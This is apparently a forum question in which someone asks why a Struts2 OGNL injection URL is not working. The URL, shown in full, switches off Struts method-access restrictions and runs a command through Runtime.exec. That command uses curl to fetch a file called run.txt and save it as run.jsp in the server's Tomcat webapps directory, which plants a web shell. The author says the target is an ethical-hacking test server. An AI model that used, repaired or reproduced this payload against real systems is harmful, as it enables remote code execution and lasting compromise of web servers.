I'm new to struts but I'm trying to upload a file to my webserver from another website on my computer with curl and I can't get it to work. I think there may be something wrong with the code I'm using in the URL but I've been staring at it for days and I can't see it. I'm using:

https://testwebsite.com/login/Login.action?top['password'](0)=true&password=%28%23context%5B%22xwork.MethodA ccessor.denyMethodExecution%22%5D3D%20new%20java.l ang.Boolean%28false%29%2C%20%23_memberAccess%0A%5B %22allowStaticMethodAccess%22%5d%3d%20new%20java.l ang.Boolean%28true%29%2c%20%40java.lang.Runtime%40 getRuntime%28%29.exec%28%27curl%20localhost%2ftest %2frun.txt%20-o%20%2fusr%2fshare%2ftomcat5%2fwebapps%2flogin%2fr un.jsp%27%29%29%20%28username%29

So basically I'm trying to take my shell from www.testwebsite.com/test/run.txt and then copy it to the local directory on the testwebsite server in /usr/share/tomcat5/webapps/login/run.jsp

This is a test to do with ethical hacking where I'm testing for a struts2 vulnerability. I know it's there because this is a test server, and it seems to work as if it's been successful but it never copies the file up to the directory on the webserver....is there something I'm missing with my statement above?